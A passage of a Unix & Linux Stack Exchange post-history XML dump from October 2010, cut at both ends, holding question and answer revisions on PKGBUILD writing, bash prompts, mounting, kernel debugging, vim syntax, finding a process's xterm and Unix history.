url=&quot;http://http://git.gitorious.org/meego-netbook-ux/mutter-meego/&quot;&#xD;&#xA;    license=('GPL')&#xD;&#xA;    groups=()&#xD;&#xA;    depends=()&#xD;&#xA;    makedepends=('git')&#xD;&#xA;    optdepends=()&#xD;&#xA;    provides=('mutter-meego')&#xD;&#xA;    conflicts=('mutter-meego')&#xD;&#xA;    &#xD;&#xA;    _gitroot=&quot;git://gitorious.org/meego-netbook-ux/mutter-meego.git&quot;&#xD;&#xA;    _gitname=&quot;mutter-meego-git&quot;&#xD;&#xA;    &#xD;&#xA;    replaces=()&#xD;&#xA;    backup=()&#xD;&#xA;    options=()&#xD;&#xA;    install=&#xD;&#xA;    #~ source=($pkgname-$pkgver.tar.gz)&#xD;&#xA;    noextract=()&#xD;&#xA;    md5sums=() #generate with 'makepkg -g'&#xD;&#xA;    &#xD;&#xA;    build() {&#xD;&#xA;        export INCLUDE=&quot;/usr/include&quot;&#xD;&#xA;    &#xD;&#xA;        msg &quot;Connecting to the GIT server...&quot;&#xD;&#xA;        if [ -d ${_gitname}/.git ]; then&#xD;&#xA;            cd ${_gitname}&#xD;&#xA;            git pull&#xD;&#xA;        else&#xD;&#xA;            git clone ${_gitroot} ${_gitname}&#xD;&#xA;            cd ${_gitname}&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        ./configure.ac -prefix /usr \&#xD;&#xA;                    -libdir /usr/lib&#xD;&#xA;        make || return 1&#xD;&#xA;        make INSTALL_ROOT=$pkgdir install || return 1&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    package() {&#xD;&#xA;      cd $srcdir/$pkgname-$pkgver&#xD;&#xA;      make DESTDIR=$pkgdir install&#xD;&#xA;    }" />
  <row Id="6731" PostHistoryTypeId="2" PostId="3184" RevisionGUID="11cf171d-ad8b-40e7-a6dc-8888612ba5bf" CreationDate="2010-10-16T04:06:01.273" UserId="29" Text="Firstly `pkgdesc` which is short for *package description* should be filled out. Next, you don't need to have empty array's.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    pkgname=mutter-meego-git&#xD;&#xA;    pkgver=20101015&#xD;&#xA;    pkgrel=1&#xD;&#xA;    pkgdesc=&quot;what mutter meego does&quot;&#xD;&#xA;    arch=('i686' 'x86_64')&#xD;&#xA;    url=&quot;http://git.gitorious.org/meego-netbook-ux/mutter-meego/&quot; # was not a correct uri&#xD;&#xA;    license=('GPL')&#xD;&#xA;    depends=() #seems to depend on some gnome stuff&#xD;&#xA;    makedepends=('git')&#xD;&#xA;    provides=('mutter-meego')&#xD;&#xA;    conflicts=('mutter-meego')&#xD;&#xA;    &#xD;&#xA;    _gitroot=&quot;git://gitorious.org/meego-netbook-ux/mutter-meego.git&quot;&#xD;&#xA;    _gitname=&quot;mutter-meego-git&quot;&#xD;&#xA;    &#xD;&#xA;    #~ source=($pkgname-$pkgver.tar.gz)&#xD;&#xA;    md5sums=() #generate with 'makepkg -g'&#xD;&#xA;    &#xD;&#xA;    build() {&#xD;&#xA;        export INCLUDE=&quot;/usr/include&quot;&#xD;&#xA;    &#xD;&#xA;        msg &quot;Connecting to the GIT server...&quot;&#xD;&#xA;        if [ -d ${_gitname}/.git ]; then&#xD;&#xA;            cd ${_gitname}&#xD;&#xA;            git pull&#xD;&#xA;        else&#xD;&#xA;            git clone ${_gitroot} ${_gitname}&#xD;&#xA;            cd ${_gitname}&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        ./configure.ac -prefix /usr \&#xD;&#xA;                    -libdir /usr/lib&#xD;&#xA;        make || return 1&#xD;&#xA;        make INSTALL_ROOT=$pkgdir install || return 1&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    package() {&#xD;&#xA;      cd $srcdir/$pkgname-$pkgver&#xD;&#xA;      make DESTDIR=$pkgdir install&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;remember the stuff in `build` is the same as if you were typing it out to build it. You have to run autogen.sh... and I couldn't do that due to some missing gnome dependency (I run KDE). You'll also notice that `./configure.ac` isn't executable... so how would you execute it? Figure out how to build it by hand and then put that in the build section of the PKGBUILD." />
  <row Id="6732" PostHistoryTypeId="6" PostId="3180" RevisionGUID="78c2d239-5746-42c9-b2de-9ba4434ace46" CreationDate="2010-10-16T04:09:43.990" UserId="29" Comment="added tags" Text="éshellàéioöredirectionàéserialöconsoleà" />
  <row Id="6733" PostHistoryTypeId="2" PostId="3185" RevisionGUID="142f7776-7e98-414d-aa04-923dbb2a3bb1" CreationDate="2010-10-16T04:40:34.027" UserId="2117" Text="Or you can give some commands a superpower. I'm talking about special permissions in which commands are executed with the permission of owner. &#xD;&#xA;&#xD;&#xA;Get the path of command by `#which &lt;command&gt;` and  set SUID or SGID for that path. &#xD;&#xA;&#xD;&#xA;P.S. - SUID bit should be given with care. It can  your system. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;AYUSH GOYAL&#xD;&#xA;&#xD;&#xA; " />
  <row Id="6734" PostHistoryTypeId="5" PostId="3185" RevisionGUID="3d16d2e3-3f87-413e-97c4-4117d8fa309b" CreationDate="2010-10-16T09:06:02.510" UserId="73" Comment="deleted 19 characters in body" Text="Or you can give some commands a superpower. I'm talking about special permissions in which commands are executed with the permission of owner. &#xD;&#xA;&#xD;&#xA;Get the path of command by `#which &lt;command&gt;` and  set SUID or SGID for that path. &#xD;&#xA;&#xD;&#xA;P.S. - SUID bit should be given with care. It can make your system insecure. &#xD;&#xA;" />
  <row Id="6735" PostHistoryTypeId="5" PostId="3179" RevisionGUID="d3ee286c-9c8b-4e95-856e-7c21b0c5d985" CreationDate="2010-10-16T09:49:46.443" UserId="885" Comment="more explanations, responding to comment" Text="You can access the just-executed command line with the `history` built-in. (I have no idea why `history 1` prints the just-executed command line but `fc -nl -1` prints the previous commmand, as does `fc -nl 0`.)&#xD;&#xA;&#xD;&#xA;    PROMPT_COMMAND='echo -en &quot;\033[38;5;2m&quot;; history 1; echo -en &quot;\033[0m\n&quot;'&#xD;&#xA;&#xD;&#xA;This prints a number before the command text. Here's a version that removes the number. (It may be incorrect if you go beyond 99999 history lines, I don't know how bash formats the number then.)&#xD;&#xA;&#xD;&#xA;    prompt_function () {&#xD;&#xA;      local prompt_history=&quot;$(history 1)&quot;&#xD;&#xA;      prompt_history=${prompt_history:7}&#xD;&#xA;      echo -En $'\033[38;5;2m'&quot;$prompt_history&quot;$'\033[0m\n'&#xD;&#xA;    }&#xD;&#xA;    PROMPT_COMMAND=prompt_function&#xD;&#xA;&#xD;&#xA;(Note that `echo -en ...&quot;$prompt_history&quot;...` would expand backslashes in the command line, so I use `echo -E` and let the shell expansion generate the control characters with `$''`.).&#xD;&#xA;" />
  <row Id="6736" PostHistoryTypeId="2" PostId="3186" RevisionGUID="6240fce8-9009-44a8-b675-edd1a251e7be" CreationDate="2010-10-16T11:02:32.710" UserId="1836" Text="how do i look for vmlinuz file for ubuntu from suse. I try: mount /dev/sda5 /mnt then cd /boot but i dont see the vmlinuz file for ubuntu. where is it? The /boot partition is empty." />
  <row Id="6737" PostHistoryTypeId="1" PostId="3186" RevisionGUID="6240fce8-9009-44a8-b675-edd1a251e7be" CreationDate="2010-10-16T11:02:32.710" UserId="1836" Text="vmlinuz file for ubuntu" />
  <row Id="6738" PostHistoryTypeId="3" PostId="3186" RevisionGUID="6240fce8-9009-44a8-b675-edd1a251e7be" CreationDate="2010-10-16T11:02:32.710" UserId="1836" Text="éubuntuàéopensuseà" />
  <row Id="6739" PostHistoryTypeId="2" PostId="3187" RevisionGUID="adb80eb1-36a5-4536-b252-fc3bde2fee97" CreationDate="2010-10-16T11:14:39.887" UserId="653" Text="Hello,&#xD;&#xA;I had the exact same problem whith my Fedora installation, and the solution is quite simple : partitions. Since I have created a /home partition, I format / but all my preferences for every program are staying. Just separate your data from your system with partition, and on reinstall, make sure to format only /, and specify your home partition as mounted on /home.&#xD;&#xA;Have fun!" />
  <row Id="6740" PostHistoryTypeId="2" PostId="3188" RevisionGUID="9b89fba0-618e-4888-b3d0-859ef014498f" CreationDate="2010-10-16T11:26:54.480" UserId="1131" Text="Well, if you want to communicate via the serial port you have to setup the right parameters (baud, stop bit, parity,handshake etc.).&#xD;&#xA;&#xD;&#xA;I used [minicom][1] in the past for stuff like using a computer as a serial console terminal to another.&#xD;&#xA;&#xD;&#xA;The [cu command][2] is an alternative.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/minicom&#xD;&#xA;  [2]: http://linux.die.net/man/1/cu" />
  <row Id="6741" PostHistoryTypeId="2" PostId="3189" RevisionGUID="63b0f6f9-92c0-4bcf-9671-752b7a0a8cb0" CreationDate="2010-10-16T12:10:33.380" UserId="2241" Text="IIRC on Ubuntu /boot by default gets it's own partition. You could try check&#xD;&#xA;&#xD;&#xA;    # sudo cfdisk&#xD;&#xA;&#xD;&#xA;the line looking somewhat like the following should be your /boot&#xD;&#xA;&#xD;&#xA;    sda1        Boot        Primary   Linux ext3                       20530.30&#xD;&#xA;&#xD;&#xA;or with&#xD;&#xA;&#xD;&#xA;    # sudo fdisk -l&#xD;&#xA;&#xD;&#xA;it should look kind of like this&#xD;&#xA;&#xD;&#xA;    /dev/sda1   *           1        2496    20049088+  83  Linux&#xD;&#xA;&#xD;&#xA;you notice the flag &quot;Boot&quot; set which means that this is the partition BIOS tries to load the bootloader from... under normal circumstances this should be the /boot partition.&#xD;&#xA;&#xD;&#xA;HTH" />
  <row Id="6742" PostHistoryTypeId="2" PostId="3190" RevisionGUID="cd0de5df-3b17-4ce4-9b81-f8cca78418a0" CreationDate="2010-10-16T18:25:58.770" UserId="2269" Text="hi,&#xD;&#xA;&#xD;&#xA;I would like to study the flow of some linux device drivers and some minimal flow of kernel(threading cum context  switching and interrupt management).&#xD;&#xA;&#xD;&#xA;So how can i debug the linux kernel ?&#xD;&#xA;&#xD;&#xA;What are the basic steps for doing that ?&#xD;&#xA;&#xD;&#xA;Recently i successfully compiled and integrated new kernel (2.6.34.7) into my machine having 2.6.29 kernel !&#xD;&#xA;&#xD;&#xA;Thanks all !I got all the helps from SO itself.&#xD;&#xA;&#xD;&#xA;__Kanu" />
  <row Id="6743" PostHistoryTypeId="1" PostId="3190" RevisionGUID="cd0de5df-3b17-4ce4-9b81-f8cca78418a0" CreationDate="2010-10-16T18:25:58.770" UserId="2269" Text="Kernel debugging.." />
  <row Id="6744" PostHistoryTypeId="3" PostId="3190" RevisionGUID="cd0de5df-3b17-4ce4-9b81-f8cca78418a0" CreationDate="2010-10-16T18:25:58.770" UserId="2269" Text="élinuxàékernelàédriversàédebuggingà" />
  <row Id="6745" PostHistoryTypeId="2" PostId="3191" RevisionGUID="cc8031b7-795c-4b84-963f-c3a70a3b699d" CreationDate="2010-10-16T19:01:16.570" UserId="912" Text="On searching how to set syntax highlighting on in vim, I found [this page][1] which says that vimrc should have the following line&#xD;&#xA;&#xD;&#xA;    syntax on&#xD;&#xA;&#xD;&#xA;**Why is it not something like `set syntax on`?** Like we have `set nu`, `set ai` etc.&#xD;&#xA;&#xD;&#xA;With `set syntax on`, I get this error&#xD;&#xA;&#xD;&#xA;    $ vi&#xD;&#xA;      syntax=&#xD;&#xA;    Error detected while processing /home/lazer/.vimrc:&#xD;&#xA;    line   30:&#xD;&#xA;    E518: Unknown option: on&#xD;&#xA;    Hit ENTER or type command to continue&#xD;&#xA;&#xD;&#xA;and with `set syntax`, I get this&#xD;&#xA;&#xD;&#xA;    $ vi&#xD;&#xA;      syntax=&#xD;&#xA;    Hit ENTER or type command to continue&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cyberciti.biz/faq/turn-on-or-off-color-syntax-highlighting-in-vi-or-vim/&#xD;&#xA;" />
  <row Id="6746" PostHistoryTypeId="1" PostId="3191" RevisionGUID="cc8031b7-795c-4b84-963f-c3a70a3b699d" CreationDate="2010-10-16T19:01:16.570" UserId="912" Text="Why does 'set' syntax not work for syntax highlighting in vim?" />
  <row Id="6747" PostHistoryTypeId="3" PostId="3191" RevisionGUID="cc8031b7-795c-4b84-963f-c3a70a3b699d" CreationDate="2010-10-16T19:01:16.570" UserId="912" Text="élinuxàéunixàévimàévimrcà" />
  <row Id="6748" PostHistoryTypeId="2" PostId="3192" RevisionGUID="9d9cfbce-2d47-4f23-afa9-5431d20ee57e" CreationDate="2010-10-16T19:02:08.493" UserId="2269" Text="hi ,&#xD;&#xA;&#xD;&#xA;I heard the word 'mounting' of  devices in Linux? what is its actual meaning? How it handling now unlike older versions?&#xD;&#xA;&#xD;&#xA;I haven't done that manually by commandline.&#xD;&#xA;&#xD;&#xA;Can you give the steps(commands) for mounting a simple device in Linux? &#xD;&#xA;&#xD;&#xA;__Kanu" />
  <row Id="6749" PostHistoryTypeId="1" PostId="3192" RevisionGUID="9d9cfbce-2d47-4f23-afa9-5431d20ee57e" CreationDate="2010-10-16T19:02:08.493" UserId="2269" Text="What is mean by mounting a device in Linux?" />
  <row Id="6750" PostHistoryTypeId="3" PostId="3192" RevisionGUID="9d9cfbce-2d47-4f23-afa9-5431d20ee57e" CreationDate="2010-10-16T19:02:08.493" UserId="2269" Text="élinuxàémountà" />
  <row Id="6751" PostHistoryTypeId="2" PostId="3193" RevisionGUID="3bc27bf7-6738-4da2-8737-838b93f8a475" CreationDate="2010-10-16T19:44:44.660" UserId="1571" Text="This is sort of a contiunation of my last question http://unix.stackexchange.com/questions/3177/printing-saving-the-last-bash-input-command&#xD;&#xA;&#xD;&#xA;Now I want to know if it's possible to know when you're at the first bash prompt of a terminal. So I'm displaying the last command run above the current prompt. And I'm thinking it would be cool if when you're at a fresh terminal, to display the last N commands.&#xD;&#xA;&#xD;&#xA;I guess I could just echo the last commands inside my `.bashrc`, but that doesn't seem like a good idea. And also it'd be cool to get the last N commands shown when the scrollback is cleared (via `clear`).&#xD;&#xA;&#xD;&#xA;Is any of that (reasonably) possible?" />
  <row Id="6752" PostHistoryTypeId="1" PostId="3193" RevisionGUID="3bc27bf7-6738-4da2-8737-838b93f8a475" CreationDate="2010-10-16T19:44:44.660" UserId="1571" Text="Is it possible to know when you're at the first bash prompt of a terminal?" />
  <row Id="6753" PostHistoryTypeId="3" PostId="3193" RevisionGUID="3bc27bf7-6738-4da2-8737-838b93f8a475" CreationDate="2010-10-16T19:44:44.660" UserId="1571" Text="ébashàépromptà" />
  <row Id="6754" PostHistoryTypeId="5" PostId="3190" RevisionGUID="861df01c-e4a4-47e7-98d0-fb799f787399" CreationDate="2010-10-16T20:02:47.810" UserId="73" Comment="deleted 70 characters in body" Text="I would like to study the flow of some linux device drivers and some minimal flow of kernel (threading cum context switching and interrupt management).&#xD;&#xA;&#xD;&#xA;How can I debug the linux kernel? What are the basic steps for doing that?&#xD;&#xA;&#xD;&#xA;Recently i successfully compiled and integrated new kernel (2.6.34.7) into my machine running the 2.6.29 kernel.&#xD;&#xA;" />
  <row Id="6755" PostHistoryTypeId="5" PostId="3192" RevisionGUID="e0a7e053-b7e9-4af8-80da-79eb05f6b2e5" CreationDate="2010-10-16T20:04:14.700" UserId="73" Comment="added 5 characters in body" Text="I've heard the term &quot;mounting&quot; when referring to devices in Linux. What is its actual meaning? How it handling now unlike older versions?&#xD;&#xA;&#xD;&#xA;I haven't done that manually via the command-line. Can you give the steps (commands) for mounting a simple device in Linux? &#xD;&#xA;" />
  <row Id="6756" PostHistoryTypeId="2" PostId="3194" RevisionGUID="6b7ed1ef-b747-45bb-944a-4e55be7fdddd" CreationDate="2010-10-16T20:09:25.607" UserId="885" Text="Unix systems have a single directory tree. All accessible storage must have an associated location in this single directory tree. This is unlike Windows where (in the most common syntax for file paths) there is one directory tree per storage component (drive).&#xD;&#xA;&#xD;&#xA;Mounting is the act of associating a storage device to a particular location in the directory tree. For example, when the system boots, a particular storage device (commonly called the root partition) is associated with the root of the directory tree, i.e., that storage device is mounted on `/` (the root directory).&#xD;&#xA;&#xD;&#xA;Let's say you now want to access files on a CD-ROM. You must mount the CD-ROM on a location in the directory tree (this may be done automatically when you insert the CD). Let's say the CD-ROM device is `/dev/cdrom` and the chosen mount point is `/media/cdrom`. The corresponding command is&#xD;&#xA;&#xD;&#xA;    mount /dev/cdrom /media/cdrom&#xD;&#xA;&#xD;&#xA;After that command is run, a file whose location on the CD-ROM is `/dir/file` is now accessible on your system as `/media/cdrom/dir/file`. When you've finished using the CD, you run the command `umount /dev/cdrom` or `umount /media/cdrom` (both will work; typical desktop environments will do this when you click on the “eject” or ”safely remove” button).&#xD;&#xA;&#xD;&#xA;Mounting applies to anything that is made accessible as files, not just actual storage devices. For example, all Linux systems have a special filesystem mounted under `/proc`. That filesystem (called `proc`) does not have underlying storage: the files in it give information about running processes and various other system information; the information is provided directly by the kernel from its in-memory data structures.&#xD;&#xA;" />
  <row Id="6757" PostHistoryTypeId="2" PostId="3195" RevisionGUID="dc58f361-887b-4f74-8317-07931b5f2aae" CreationDate="2010-10-16T20:47:45.120" UserId="2317" Text="It depends on what you really need. Probably simple printk() function is gonna be OK for the beginning. There is also /proc interface you can use to get useful information from kernel.&#xD;&#xA;&#xD;&#xA;If you need something more complicated, use KGDB (kernel debugger)." />
  <row Id="6758" PostHistoryTypeId="2" PostId="3196" RevisionGUID="ad211883-bd4d-4270-bb05-9badb4b4bef2" CreationDate="2010-10-16T20:50:37.067" UserId="2269" Text="hi,&#xD;&#xA;&#xD;&#xA;can you explain the evolution hierarchy of operating systems (LINUX and Windows) from UNIX ?&#xD;&#xA;&#xD;&#xA;Is UNIX OS is paid ? &#xD;&#xA;&#xD;&#xA;Please explain the clear concept of UNIX origin , then GNU/LINUX origin then Windows origin?&#xD;&#xA;&#xD;&#xA;What is the relation between Windows and UNIX ?&#xD;&#xA;&#xD;&#xA;__Kanu" />
  <row Id="6759" PostHistoryTypeId="1" PostId="3196" RevisionGUID="ad211883-bd4d-4270-bb05-9badb4b4bef2" CreationDate="2010-10-16T20:50:37.067" UserId="2269" Text="Evolution of  Operating systems from UNIX ?" />
  <row Id="6760" PostHistoryTypeId="3" PostId="3196" RevisionGUID="ad211883-bd4d-4270-bb05-9badb4b4bef2" CreationDate="2010-10-16T20:50:37.067" UserId="2269" Text="élinuxàéunixàéwindowsà" />
  <row Id="6761" PostHistoryTypeId="2" PostId="3197" RevisionGUID="895b737d-a52c-48a0-b562-212da966f9b6" CreationDate="2010-10-16T20:57:21.437" UserId="1131" Text="I usually use long running X sessions with several virtual desktops and many many xterms.&#xD;&#xA;&#xD;&#xA;I also use job control in the shell (zsh).&#xD;&#xA;&#xD;&#xA;Sometimes I wish I could identify an xterm a shell or process is running in (or even suspended in) with a simple command.&#xD;&#xA;&#xD;&#xA;For example, you edit a file with vim and vim warns you that it is already opened with another vim instance which is still running. But now you have forgotten in which xterm this vim with process-id XYZ was started and suspended. Killing it does not work, because it is suspended. Resuming it via a signal and then killing could work, but it may screw up an in-foreground running process and perhaps you don't want to kill the vim instance because it has several windows set up ...&#xD;&#xA;&#xD;&#xA;Currently I am using awesomewm, but I am also interested in solutions for other wms.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6762" PostHistoryTypeId="1" PostId="3197" RevisionGUID="895b737d-a52c-48a0-b562-212da966f9b6" CreationDate="2010-10-16T20:57:21.437" UserId="1131" Text="How to identify an xterm a shell or process is running in?" />
  <row Id="6763" PostHistoryTypeId="3" PostId="3197" RevisionGUID="895b737d-a52c-48a0-b562-212da966f9b6" CreationDate="2010-10-16T20:57:21.437" UserId="1131" Text="éwindowömanageràéxtermà" />
  <row Id="6764" PostHistoryTypeId="2" PostId="3198" RevisionGUID="8c036b3d-2963-4694-8a27-e9cfb0c5b2e2" CreationDate="2010-10-16T21:02:20.153" UserId="2317" Text="Renjith, there is no &quot;root&quot; operating system. History of operating systems is pretty long. I'd just recommend you to read next articles on Wikipedia:&#xD;&#xA;&#xD;&#xA; - http://en.wikipedia.org/wiki/History_of_operating_systems&#xD;&#xA; - http://en.wikipedia.org/wiki/History_of_Windows&#xD;&#xA; - http://en.wikipedia.org/wiki/History_of_Unix&#xD;&#xA; - http://en.wikipedia.org/wiki/History_of_Linux&#xD;&#xA;&#xD;&#xA;Have fun, it's really interesting stuff..." />
  <row Id="6765" PostHistoryTypeId="2" PostId="3199" RevisionGUID="06a5594a-b66b-4d01-8c42-dca800270d8b" CreationDate="2010-10-16T21:04:16.537" UserId="2318" Text="It should be `syntax on` or `syntax off`.&#xD;&#xA;&#xD;&#xA;`set syntax=something` is used to change the current syntax (c, perl, nasm, etc)." />
  <row Id="6766" PostHistoryTypeId="5" PostId="3196" RevisionGUID="70e20a54-6213-4799-b7bc-3adfe5c46804" CreationDate="2010-10-16T21:04:21.837" UserId="73" Comment="deleted 34 characters in body; edited title" Text="* Can you explain the evolution hierarchy of operating systems (Linux and Windows) from Unix?&#xD;&#xA;* Is the Unix OS paid?&#xD;&#xA;* Please explain Unix's origin, then GNU/Linux's origin, and Windows' origin&#xD;&#xA;* What is the relation between Windows and Unix?&#xD;&#xA;" />
  <row Id="6767" PostHistoryTypeId="4" PostId="3196" RevisionGUID="70e20a54-6213-4799-b7bc-3adfe5c46804" CreationDate="2010-10-16T21:04:21.837" UserId="73" Comment="deleted 34 characters in body; edited title" Text="Evolution of  Operating systems from Unix" />
  <row Id="6768" PostHistoryTypeId="2" PostId="3200" RevisionGUID="cf59c11b-822c-4fa5-826d-b02a46c78cff" CreationDate="2010-10-16T21:56:56.853" UserId="73" Text="You can use `ps -o ppid= PID` to get the parent ID of process PID, which will probably be the shell that launched it. The parent ID of that shell will be the terminal containing it.&#xD;&#xA;&#xD;&#xA;To test, I spawned a process that would stay around for a while:&#xD;&#xA;&#xD;&#xA;    $ sleep 5m &amp;&#xD;&#xA;    [1] 31177&#xD;&#xA;&#xD;&#xA;Then I looked up the parent of process 31177, and what command it is:&#xD;&#xA;&#xD;&#xA;    $ ps -o ppid= 31177&#xD;&#xA;    31107&#xD;&#xA;    $ ps -o cmd= 31107&#xD;&#xA;    zsh&#xD;&#xA;&#xD;&#xA;31107 is the zsh process I ran the `sleep 5m` in. I repeated that on the `zsh` process&#xD;&#xA;&#xD;&#xA;    $ ps -o ppid= 31107&#xD;&#xA;    31097&#xD;&#xA;    $ ps -o cmd= 31097&#xD;&#xA;    xterm&#xD;&#xA;&#xD;&#xA;31097 is the `xterm that my `zsh` shell was running in" />
  <row Id="6769" PostHistoryTypeId="5" PostId="3200" RevisionGUID="d34fbbbd-944c-4ec6-b375-e44418a84db3" CreationDate="2010-10-16T22:04:56.683" UserId="73" Comment="added 503 characters in body" Text="You can use `ps -o ppid= PID` to get the parent ID of process PID, which will probably be the shell that launched it. The parent ID of that shell will be the terminal containing it.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;To test, I spawned a process that would stay around for a while:&#xD;&#xA;&#xD;&#xA;    $ sleep 5m &amp;&#xD;&#xA;    [1] 31177&#xD;&#xA;&#xD;&#xA;Then I looked up the parent of process 31177, and what command it is:&#xD;&#xA;&#xD;&#xA;    $ ps -o ppid= 31177&#xD;&#xA;    31107&#xD;&#xA;    $ ps -o cmd= 31107&#xD;&#xA;    zsh&#xD;&#xA;&#xD;&#xA;31107 is the zsh process I ran the `sleep 5m` in. I repeated that on the `zsh` process&#xD;&#xA;&#xD;&#xA;    $ ps -o ppid= 31107&#xD;&#xA;    31097&#xD;&#xA;    $ ps -o cmd= 31097&#xD;&#xA;    xterm&#xD;&#xA;&#xD;&#xA;31097 is the `xterm` that my `zsh` shell was running in&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;If you're not sure how far up the parent you want is, you can use this to search for a parent with the given command name:&#xD;&#xA;&#xD;&#xA;    pid=&quot;$1&quot;&#xD;&#xA;    cmd=&quot;$2&quot;&#xD;&#xA;    &#xD;&#xA;    seek=&quot;&quot;&#xD;&#xA;    while [ &quot;$seek&quot; != &quot;$cmd&quot; ]; do&#xD;&#xA;    	# ps -o ppid= $pid&#xD;&#xA;    	pid=`ps -o ppid= $pid`&#xD;&#xA;    	seek=`ps -o cmd= $pid`&#xD;&#xA;    &#xD;&#xA;    	if [ ${pid/ /} = 1 ]; then&#xD;&#xA;    		echo Reached the top of the tree&#xD;&#xA;    		exit 1&#xD;&#xA;    	fi&#xD;&#xA;    done&#xD;&#xA;    &#xD;&#xA;    echo $pid&#xD;&#xA;&#xD;&#xA;Test:&#xD;&#xA;&#xD;&#xA;    $ /tmp/find-parent 31177 xterm&#xD;&#xA;    31097&#xD;&#xA;" />
  <row Id="6770" PostHistoryTypeId="5" PostId="3193" RevisionGUID="3ad2e421-f8ec-4e74-9279-ffce8f742e72" CreationDate="2010-10-16T22:52:39.387" UserId="29" Comment="fix url" Text="This is sort of a contiunation of my last question: [printing saving the last bash input command](http://unix.stackexchange.com/questions/3177/printing-saving-the-last-bash-input-command)&#xD;&#xA;&#xD;&#xA;Now I want to know if it's possible to know when you're at the first bash prompt of a terminal. So I'm displaying the last command run above the current prompt. And I'm thinking it would be cool if when you're at a fresh terminal, to display the last N commands.&#xD;&#xA;&#xD;&#xA;I guess I could just echo the last commands inside my `.bashrc`, but that doesn't seem like a good idea. And also it'd be cool to get the last N commands shown when the scrollback is cleared (via `clear`).&#xD;&#xA;&#xD;&#xA;Is any of that (reasonably) possible?" />
  <row Id="6771" PostHistoryTypeId="2" PostId="3201" RevisionGUID="71c50b29-6f54-4d14-92bf-ecc1a554764e" CreationDate="2010-10-16T23:14:06.883" UserId="1571" Text="How do I make zsh give me the autcomplete options but not fill in the prompt line with the first result? For example, this is the behavior I'm seeing:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;$ ifc{tab}&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;$ ifcfg&#xD;&#xA;external command&#xD;&#xA;ifcfg     ifconfig&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;I want it to display the options, but not fill in the prompt line.&#xD;&#xA;&#xD;&#xA;Also, if I type in a valid command, but there are other valid commands that start with that, it doesn't auto complete. So&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;su{tab}&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;will give me just `su` instead of the option for `sudo`" />
  <row Id="6772" PostHistoryTypeId="1" PostId="3201" RevisionGUID="71c50b29-6f54-4d14-92bf-ecc1a554764e" CreationDate="2010-10-16T23:14:06.883" UserId="1571" Text="ZSH autocomplete" />
  <row Id="6773" PostHistoryTypeId="3" PostId="3201" RevisionGUID="71c50b29-6f54-4d14-92bf-ecc1a554764e" CreationDate="2010-10-16T23:14:06.883" UserId="1571" Text="ézshàéautocompleteà" />
  <row Id="6774" PostHistoryTypeId="2" PostId="3202" RevisionGUID="750a48f7-dd8d-4fb9-9083-9b635fc8f661" CreationDate="2010-10-16T23:23:42.227" UserId="885" Text="*This is a [highly simplified](http://en.wikipedia.org/wiki/File:Unix_history-simple.svg) [history](http://www.levenez.com/unix/) of [Unix and its derivatives](http://www.unix-diagram.org/). Windows does not figure in it because its history is essentially separate.*&#xD;&#xA;&#xD;&#xA;Once upon a time operating systems were complex and unwieldy. One day in the late 1960s, [Ken Thompson](http://en.wikipedia.org/wiki/Ken_Thompson), [Dennis Ritchie](http://en.wikipedia.org/wiki/Dennis_Ritchie) and a few of their colleagues at [AT&amp;T Bell Labs](http://en.wikipedia.org/wiki/Bell_Labs) decided to write a simpler version of [Multics](http://en.wikipedia.org/wiki/Multics) to run games on their [PDP-7](http://en.wikipedia.org/wiki/PDP-7), and thus [Unix](http://en.wikipedia.org/wiki/Unix) was born.&#xD;&#xA;&#xD;&#xA;AT&amp;T held the rights to the code, and licenses were expensive. Many other companies sublicensed Unix and sold their own version. Major players included [DEC](http://en.wikipedia.org/wiki/Digital_Equipment_Corporation), [HP](http://en.wikipedia.org/wiki/Hewlett-Packard), [IBM](http://en.wikipedia.org/wiki/IBM), [Sun](http://en.wikipedia.org/wiki/Sun_Microsystems). Unix variants added their own extensions, often nicking ideas from each other and from academia. Another important contributor is [Xerox PARC](http://en.wikipedia.org/wiki/Xerox_PARC), where the the [X Window System](http://en.wikipedia.org/wiki/X_Window_System) was born.&#xD;&#xA;&#xD;&#xA;Meanwhile, in [Berkeley](http://en.wikipedia.org/wiki/University_of_California_at_Berkeley), a number of academics were unhappy with the licensing situation and decided to create a version of Unix that didn't include any AT&amp;T-licensed code. Thus in the early 1980s the [Berkeley Software Distribution, or BSD](http://en.wikipedia.org/wiki/Berkeley_Software_Distribution) became a free variant of Unix. BSD first ran on [Minicomputers](http://en.wikipedia.org/wiki/Minicomputers) such as [PDP-11](http://en.wikipedia.org/wiki/PDP-11) and [VAXen](http://en.wikipedia.org/wiki/VAX).&#xD;&#xA;&#xD;&#xA;Meanwhile, on the [East coast](http://en.wikipedia.org/wiki/MIT), [Richard Stallman](http://en.wikipedia.org/wiki/Richard_Stallman) threw a fit when he couldn't get the source code to his printer driver. He founded the [GNU](http://en.wikipedia.org/wiki/GNU) project in 1983 intending to make a [free](http://en.wikipedia.org/wiki/Free_software) Unix-like operating system, only better. After a little hesitation, the kernel of this operating system was chosen to be [Hurd](http://en.wikipedia.org/wiki/GNU_Hurd), which is going to be usable any decade now. Many components of the GNU project are included in all current free unices, in particular the [compiler](http://en.wikipedia.org/wiki/GCC).&#xD;&#xA;&#xD;&#xA;Meanwhile, in Finland, [Linus Torvalds](http://en.wikipedia.org/wiki/Linus_Torvalds) went on a hacking binge in summer 1991. When he woke up, he realized that he'd written an operating system for his [PC](http://en.wikipedia.org/wiki/IBM_PC_compatible), and he decided to share it by putting it on an FTP server in a directory called [linux](http://en.wikipedia.org/wiki/Linux). The success exceeded his 